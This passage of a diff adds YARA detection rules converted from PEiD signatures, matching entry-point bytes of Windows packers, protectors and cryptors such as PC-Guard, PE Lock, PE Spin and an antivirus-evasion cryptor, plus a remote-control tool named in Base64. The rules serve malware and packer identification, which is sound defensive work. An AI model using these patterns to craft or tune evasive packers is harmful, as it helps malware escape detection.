+        $a = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24 2C 01 00 00 00 74 05 0F B7 44 24 30 83 C4 44 89 43 56 FF 15 D0 61 40 00 E8 9E 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 6A 00 FF 15 E4 61 40 00 89 43 5C E8 F9 00 00 00 E8 AA 00 00 00 B8 FF 00 00 00 72 0D 53 E8 96 00 00 00 5B FF 4B 10 FF 4B 18 5F 5E 5B 5D 50 FF 15 C8 61 40 00 C3 83 7D 0C 01 75 3F E8 81 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 FF 15 D0 61 40 00 E8 3A 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 8B 45 08 89 43 5C E8 9A 00 00 00 E8 4B 00 00 00 72 11 66 FF 43 5A 8B 45 0C 89 43 60 53}
+    condition:
+        $a
+}
+
+rule PEiD_01457_Password_Protector__c__MiniSoft_1992_
+{
+    meta:
+        description = "[Password Protector (c) MiniSoft 1992]"
+        ep_only = "true"
+    strings:
+        $a = {06 0E 0E 07 1F E8 00 00 5B 83 EB 08 BA 27 01 03 D3 E8 3C 02 BA EA}
+    condition:
+        $a
+}
+rule PEiD_01458_Password_Protector_for_the_UPX_0_30____g0d_
+{
+    meta:
+        description = "[Password Protector for the UPX 0.30 -> g0d]"
+        ep_only = "true"
+    strings:
+        $a = {C8 50 01 00 60 E8 EC 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 44 69 61 6C 6F 67 42 6F 78 49 6E 64 69 72 65 63 74 50 61 72 61 6D 41 00 53 65 6E 64 4D 65 73 73 61 67 65 41 00 45 6E 64 44 69 61 6C 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01459_Password_protector_my_SMT_
+{
+    meta:
+        description = "[Password protector my SMT]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5D 8B FD 81 ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 46 80 ?? ?? 74}
+    condition:
+        $a
+}
+
+rule PEiD_01460_Patch_Creation_Wizard_1_2_Byte_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard 1.2 Byte Patch]"
+        ep_only = "false"
+    strings:
+        $a = {E8 7F 03 00 00 6A 00 E8 24 03 00 00 A3 B8 33 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 2C 03 00 00 6A 00 E8 EF 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 B8 33 40 00 E8 1B 03 00 00 50 6A 01 68 80 00 00 00 FF 75}
+    condition:
+        $a
+}
+
+rule PEiD_01461_Patch_Creation_Wizard_1_2_Memory_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard 1.2 Memory Patch]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 9B 02 00 00 A3 7A 33 40 00 6A 00 68 8E 10 40 00 6A 00 6A 01 50 E8 B5 02 00 00 68 5A 31 40 00 68 12 31 40 00 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 68 A2 30 40 00 6A 00 E8 51 02 00 00 85 C0 74 31 FF 35 62 31 40 00 6A 00 6A 30 E8 62 02 00 00 E8 0B 01}
+    condition:
+        $a
+}
+
+rule PEiD_01462_Patch_Creation_Wizard_1_2_Seek_and_Destroy_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard 1.2 Seek and Destroy Patch]"
+        ep_only = "false"
+    strings:
+        $a = {E8 C5 05 00 00 6A 00 E8 5E 05 00 00 A3 CE 39 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 72 05 00 00 6A 00 E8 2F 05 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 CE 39 40 00 E8 61 05 00 00 50 6A 01 68 80 00 00 00 FF 75}
+    condition:
+        $a
+}
+
+rule PEiD_01463_Patch_Creation_Wizard_v1_2_Byte_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard v1.2 Byte Patch]"
+        ep_only = "false"
+    strings:
+        $a = {E8 7F 03 00 00 6A 00 E8 24 03 00 00 A3 B8 33 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 2C 03 00 00 6A 00 E8 EF 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 B8 33 40 00 E8 1B 03 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 1D 03 00 00 68 5F 30 40 00 6A 65 FF 75 08 E8 14 03 00 00 68 B0 30 40 00 6A 67 FF 75 08 E8 05 03 00 00 68 01 31 40 00 6A 66 FF 75 08 E8 F6 02 00 00 6A 00 FF 75 08 E8 C8 02 00 00 A3 B4 33 40 00 C7 05 BC 33 40 00 2C 00 00 00 C7 05 C0 33 40 00 10 00 00 00 C7 05 C4 33 40 00 00 08 00 00 68 BC 33 40 00 6A 01 6A FF FF 35 B4 33 40 00 E8 97 02 00 00 C7 05 C4 33 40 00 00 00 00 00 C7 05 E0 33 40 00 00 30 40 00 C7 05 E4 33 40 00 01 00 00 00 68 BC 33 40 00 6A 01 6A FF FF 35 B4 33 40 00 E8 65 02 00 00 EB 5F EB 54}
+    condition:
+        $a
+}
+
+rule PEiD_01464_Patch_Creation_Wizard_v1_2_Memory_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard v1.2 Memory Patch]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 9B 02 00 00 A3 7A 33 40 00 6A 00 68 8E 10 40 00 6A 00 6A 01 50 E8 B5 02 00 00 68 5A 31 40 00 68 12 31 40 00 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 68 A2 30 40 00 6A 00 E8 51 02 00 00 85 C0 74 31 FF 35 62 31 40 00 6A 00 6A 30 E8 62 02 00 00 E8 0B 01 00 00 FF 35 5A 31 40 00 E8 22 02 00 00 FF 35 5E 31 40 00 E8 53 02 00 00 6A 00 E8 22 02 00 00 6A 10 68 F7 30 40 00 68 FE 30 40 00 6A 00 E8 63 02 00 00 6A 00 E8 08 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 75 6B 6A 01 FF 35 7A 33 40 00 E8 38 02 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 34 02 00 00 68 00 30 40 00 6A 65 FF 75 08 E8 2B 02 00 00 68 51 30 40 00 6A 67 FF 75 08 E8 1C 02 00 00 68 A2 30 40 00 6A 66 FF 75 08 E8 0D 02 00 00 8B 45 08 A3 7E 33 40 00 68 3B 11 40 00 68 E8 03 00 00 68 9A 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_01465_Patch_Creation_Wizard_v1_2_Seek_and_Destroy_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard v1.2 Seek and Destroy Patch]"
+        ep_only = "false"
+    strings:
+        $a = {E8 C5 05 00 00 6A 00 E8 5E 05 00 00 A3 CE 39 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 72 05 00 00 6A 00 E8 2F 05 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 CE 39 40 00 E8 61 05 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 63 05 00 00 68 5F 30 40 00 6A 65 FF 75 08 E8 5A 05 00 00 68 B0 30 40 00 6A 67 FF 75 08 E8 4B 05 00 00 68 01 31 40 00 6A 66 FF 75 08 E8 3C 05 00 00 6A 00 FF 75 08 E8 0E 05 00 00 A3 CA 39 40 00 C7 05 D2 39 40 00 2C 00 00 00 C7 05 D6 39 40 00 10 00 00 00 C7 05 DA 39 40 00 00 08 00 00 68 D2 39 40 00 6A 01 6A FF FF 35 CA 39 40 00 E8 DD 04 00 00 C7 05 DA 39 40 00 00 00 00 00 C7 05 F6 39 40 00 00 30 40 00 C7 05 FA 39 40 00 01 00 00 00 68 D2 39 40 00 6A 01 6A FF FF 35 CA 39 40 00 E8 AB 04 00 00 EB 5F EB 54}
+    condition:
+        $a
+}
+
+rule PEiD_01466_PAV_Cryptor__Pawning_AntiVirus_Cryptor_____masha_dev_
+{
+    meta:
+        description = "[PAV.Cryptor (Pawning AntiVirus Cryptor) -> masha_dev]"
+        ep_only = "false"
+    strings:
+        $a = {53 56 57 55 BB 2C ?? ?? 70 BE 00 30 00 70 BF 20 ?? ?? 70 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 00 70 00 74 06 FF 15 54 30 00 70 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 1C 30 00 70 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 14 30 00 70 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 8F FA FF FF FF 15 20 30 00 70 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 70 00 74 06 FF 15 10 ?? ?? 70 8B 06 50 E8 A9 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 00 70 E8 26 FF FF FF C3 90 8F 05 04 30 00 70 E9 E9 FF FF FF C3}
+    condition:
+        $a
+}
+
+rule PEiD_01467_PC_Guard_for_Win32_5_00____SofPro_Blagoje_Ceklic__h__
+{
+    meta:
+        description = "[PC Guard for Win32 5.00 -> SofPro/Blagoje Ceklic (h)]"
+        ep_only = "false"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+    condition:
+        $a
+}
+rule PEiD_01468_PC_Guard_for_Win32_v5_00____SofPro_Blagoje_Ceklic__h__
+{
+    meta:
+        description = "[PC Guard for Win32 v5.00 -> SofPro/Blagoje Ceklic (h)]"
+        ep_only = "true"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0}
+    condition:
+        $a
+}
+
+rule PEiD_01469_PC_PE_Encryptor_Alpha_preview_
+{
+    meta:
+        description = "[PC PE Encryptor Alpha preview]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 ?? 2B 8D EE 32 40 00 83 E9 0B 89 8D F2 32 40 ?? 80 BD D1 32 40 ?? 01 0F 84}
+    condition:
+        $a
+}
+
+rule PEiD_01470_PC_Shrinker_v0_20_
+{
+    meta:
+        description = "[PC Shrinker v0.20]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E8 01 ?? ?? 60 01 AD B3 27 40 ?? 68}
+    condition:
+        $a
+}
+
+rule PEiD_01471_PC_Shrinker_v0_29_
+{
+    meta:
+        description = "[PC Shrinker v0.29]"
+        ep_only = "true"
+    strings:
+        $a = {?? BD ?? ?? ?? ?? 01 AD 55 39 40 ?? 8D B5 35 39 40}
+    condition:
+        $a
+}
+
+rule PEiD_01472_PC_Shrinker_v0_45_
+{
+    meta:
+        description = "[PC Shrinker v0.45]"
+        ep_only = "true"
+    strings:
+        $a = {?? BD ?? ?? ?? ?? 01 AD E3 38 40 ?? FF B5 DF 38 40}
+    condition:
+        $a
+}
+
+rule PEiD_01473_PC_Shrinker_v0_71_
+{
+    meta:
+        description = "[PC Shrinker v0.71]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 BD ?? ?? ?? ?? 01 AD 54 3A 40 ?? FF B5 50 3A 40 ?? 6A 40 FF 95 88 3A 40 ?? 50 50 2D ?? ?? ?? ?? 89 85}
+    condition:
+        $a
+}
+
+rule PEiD_01474_PC_Guard_5_00d_
+{
+    meta:
+        description = "[PC-Guard 5.00d]"
+        ep_only = "false"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01475_PC_Guard_v3_03d__v3_05d_
+{
+    meta:
+        description = "[PC-Guard v3.03d, v3.05d]"
+        ep_only = "true"
+    strings:
+        $a = {55 50 E8 ?? ?? ?? ?? 5D EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01476_PC_Guard_v4_05d__v4_10d__v4_15d_
+{
+    meta:
+        description = "[PC-Guard v4.05d, v4.10d, v4.15d]"
+        ep_only = "true"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01477_PC_Guard_v5_00d_
+{
+    meta:
+        description = "[PC-Guard v5.00d]"
+        ep_only = "true"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 85 E1 EA 41 00 9C EB 01 D5 9D EB 01 0B 58 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 89 85 F9 EA 41 00 9C EB 01 D5 9D EB 01 0B 89 9D E5 EA 41 00 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 8D E9 EA 41 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 89 95 ED EA 41 00 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 B5 F1 EA 41 00 9C EB 01 D5 9D EB 01 0B 89}
+    condition:
+        $a
+}
+
+rule PEiD_01478_PCIENC_Cryptor_
+{
+    meta:
+        description = "[PCIENC Cryptor]"
+        ep_only = "false"
+    strings:
+        $a = {06 50 43 49 45 4E}
+    condition:
+        $a
+}
+rule PEiD_01479_PCPEC__alpha___preview__
+{
+    meta:
+        description = "[PCPEC \"alpha - preview\"]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 00}
+    condition:
+        $a
+}
+rule PEiD_01480_PCPEC__alpha__
+{
+    meta:
+        description = "[PCPEC [alpha]]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 8B CD 81 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 83}
+    condition:
+        $a
+}
+
+rule PEiD_01481_PCrypt_v3_51_
+{
+    meta:
+        description = "[PCrypt v3.51]"
+        ep_only = "true"
+    strings:
+        $a = {50 43 52 59 50 54 FF 76 33 2E 35 31 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01482_PcShare____________v4_0_____________
+{
+    meta:
+        description = "[Convert Base64 to ASCII UGNTaGFyZSDDjsOEwrzDvsOAwqbCsMOzw4bDtyB2NC4wIC0+IMOOw57Cv8OJwrfDh8OSw6k=]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 90 34 40 00 68 B6 28 40 00 64 A1}
+    condition:
+        $a
+}
+
+
+rule PEiD_01483_PCShrink_0_71_beta_
+{
+    meta:
+        description = "[PCShrink 0.71 beta]"
+        ep_only = "true"
+    strings:
+        $a = {01 AD 54 3A 40 00 FF B5 50 3A 40 00 6A 40 FF 95 88 3A 40 00}
+    condition:
+        $a
+}
+rule PEiD_01484_PCShrink_v0_40b_
+{
+    meta:
+        description = "[PCShrink v0.40b]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 BD ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 6A ?? FF ?? ?? ?? ?? ?? 50 50 2D}
+    condition:
+        $a
+}
+rule PEiD_01485_PDS_graphics_file_format_
+{
+    meta:
+        description = "[PDS graphics file format]"
+        ep_only = "false"
+    strings:
+        $a = {49 4D 41 47 45 49 44 45 4E 54 49 46 49 45 52 20}
+    condition:
+        $a
+}
+
+rule PEiD_01486_PE_Crypt_v1_00_v1_01_
+{
+    meta:
+        description = "[PE Crypt v1.00/v1.01]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01487_PE_Crypt_v1_02_
+{
+    meta:
+        description = "[PE Crypt v1.02]"
+        ep_only = "false"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44}
+    condition:
+        $a
+}
+
+rule PEiD_01488_PE_Crypt32__Console_v1_0__v1_01__v1_02__
+{
+    meta:
+        description = "[PE Crypt32 (Console v1.0, v1.01, v1.02)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01489_PE_Crypt32_v1_02_
+{
+    meta:
+        description = "[PE Crypt32 v1.02]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 ?? ?? EB ?? 52 4E 44 21}
+    condition:
+        $a
+}
+
+rule PEiD_01490_PE_Diminisher_V0_1____Teraphy_
+{
+    meta:
+        description = "[PE Diminisher V0.1 -> Teraphy]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01491_PE_Diminisher_v0_1____Teraphy_
+{
+    meta:
+        description = "[PE Diminisher v0.1 -> Teraphy]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74 50 E8 02 01 00 00 8B FD 8D 9D 9A 33 40 00 8B 1B 8D 87}
+    condition:
+        $a
+}
+
+rule PEiD_01492_PE_Diminisher_v0_1_
+{
+    meta:
+        description = "[PE Diminisher v0.1]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74}
+    condition:
+        $a
+}
+
+rule PEiD_01493_PE_Diminisher_v0_1_
+{
+    meta:
+        description = "[PE Diminisher v0.1]"
+        ep_only = "true"
+    strings:
+        $a = {5D 8B D5 81 ED A2 30 40 ?? 2B 95 91 33 40 ?? 81 EA 0B ?? ?? ?? 89 95 9A 33 40 ?? 80 BD 99}
+    condition:
+        $a
+}
+
+rule PEiD_01494_PE_Encrypt_1_0____Liwuyue_
+{
+    meta:
+        description = "[PE Encrypt 1.0 -> Liwuyue]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D 0F 05 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 5D EC 8B 41 18 8B C8 49 85 C9 72 5A 41 33 C0 8B D8 C1 E3 02 03 DA 8B 3B 03 3E 81 3F 47 65 74 50 75 40 8B DF 83 C3 04 81 3B 72 6F 63 41 75 33 8B DF 83 C3 08 81 3B 64 64 72 65 75 26 83 C7 0C 66 81 3F 73 73}
+    condition:
+        $a
+}
+rule PEiD_01495_PE_Intro_v1_0_
+{
+    meta:
+        description = "[PE Intro v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 9C 60 E8 ?? ?? ?? ?? 5D 81 ED 0A 45 40 ?? 80 BD 67 44 40 ?? ?? 0F 85 48}
+    condition:
+        $a
+}
+
+rule PEiD_01496_PE_Lock_NT_v2_01_
+{
+    meta:
+        description = "[PE Lock NT v2.01]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 CD 20 EB EB 01 EB 1E EB 01 EB EB 02 CD 20 9C EB 03 CD}
+    condition:
+        $a
+}
+
+rule PEiD_01497_PE_Lock_NT_v2_02c_
+{
+    meta:
+        description = "[PE Lock NT v2.02c]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 C7 85 1E EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02 CD}
+    condition:
+        $a
+}
+
+rule PEiD_01498_PE_Lock_NT_v2_03_
+{
+    meta:
+        description = "[PE Lock NT v2.03]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 C7 85 1E EB 03 CD 20 C7 9C EB 02 69 B1 60 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01499_PE_Lock_NT_v2_04_
+{
+    meta:
+        description = "[PE Lock NT v2.04]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? CD ?? ?? ?? ?? ?? CD ?? ?? ?? ?? ?? EB ?? EB ?? EB ?? EB ?? CD ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01500_PE_Lock_v1_06_
+{
+    meta:
+        description = "[PE Lock v1.06]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 4B 45}
+    condition:
+        $a
+}
+
+rule PEiD_01501_Pe_Ninja_____DzA_kRAker__TNT_
+{
+    meta:
+        description = "[Pe Ninja -> +DzA kRAker [TNT]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+rule PEiD_01502_Pe_Ninja_____DzA_kRAker__TNT__
+{
+    meta:
+        description = "[Pe Ninja -> +DzA kRAker [TNT]]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01503_PE_Ninja_v1_0_____DzA_kRAker_TNT_
+{
+    meta:
+        description = "[PE Ninja v1.0 -> +DzA kRAker TNT]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01504_PE_Pack_v0_99_
+{
+    meta:
+        description = "[PE Pack v0.99]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 83 ED 06 80 BD E0 04 ?? ?? 01 0F 84 F2}
+    condition:
+        $a
+}
+
+rule PEiD_01505_PE_Packer_
+{
+    meta:
+        description = "[PE Packer]"
+        ep_only = "true"
+    strings:
+        $a = {FC 8B 35 70 01 40 ?? 83 EE 40 6A 40 68 ?? 30 10}
+    condition:
+        $a
+}
+
+rule PEiD_01506_PE_Password_v0_2_SMT_SMF_
+{
+    meta:
+        description = "[PE Password v0.2 SMT/SMF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 ?? ?? ?? 8B EC 5D C3 33 C0 5D 8B FD 81 ED 33 26 40 ?? 81 EF ?? ?? ?? ?? 83 EF 05 89 AD 88 27 40 ?? 8D 9D 07 29 40 ?? 8D B5 62 28 40 ?? 46 80}
+    condition:
+        $a
+}
+
+rule PEiD_01507_PE_Protect_0_9_
+{
+    meta:
+        description = "[PE Protect 0.9]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39 20 28 43 29 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01508_PE_Protect_v0_9_
+{
+    meta:
+        description = "[PE Protect v0.9]"
+        ep_only = "true"
+    strings:
+        $a = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 ?? ?? ?? ?? 58 83 C0 07 C6 ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_01509_PE_Protector_0_9_3____CRYPToCRACk_
+{
+    meta:
+        description = "[PE Protector 0.9.3 -> CRYPToCRACk]"
+        ep_only = "true"
+    strings:
+        $a = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01510_PE_Spin_0_b_
+{
+    meta:
+        description = "[PE Spin 0.b]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9}
+    condition:
+        $a
+}
+
+rule PEiD_01511_PE_Spin_v0_4x_
+{
+    meta:
+        description = "[PE Spin v0.4x]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01512_PE_Spin_v0_b_
+{
+    meta:
+        description = "[PE Spin v0.b]"
+        ep_only = "true"
+    strings:
